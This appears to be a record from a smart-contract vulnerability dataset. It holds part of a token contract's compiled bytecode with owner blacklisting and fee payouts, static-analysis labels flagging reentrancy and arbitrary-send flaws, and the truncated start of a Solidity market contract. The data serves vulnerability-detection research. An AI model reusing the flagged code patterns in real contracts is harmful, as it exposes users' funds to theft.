ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2046465520000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209616ab24fc6ce36f475b64e183d94d9f1a5aa67ac76384b4fdf969adc51d2d0c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,297 |
0x19324c99fc1b2fd7ca827c98f6554085f147dea7
|
pragma solidity ^0.4.19;
/**
* @title Ownable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath Library
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title BlockMarketCore
*/
contract BlockMarket is Ownable {
struct Stock {
string name;
uint256 priceIncrease;
uint256 dividendAmount;
uint256 lastAction;
uint256 dividendsPaid;
}
struct Share {
address holder;
uint256 purchasePrice;
}
Stock[] public stocks;
Share[] public shares;
mapping (uint256 => uint256[]) public stockShares;
event CompanyListed(string company, uint256 basePrice);
event DividendPaid(address shareholder, uint256 amount);
event ShareSold(
uint256 stockId,
uint256 shareId,
uint256 oldPrice,
uint256 newPrice,
address oldOwner,
address newOwner
);
/**
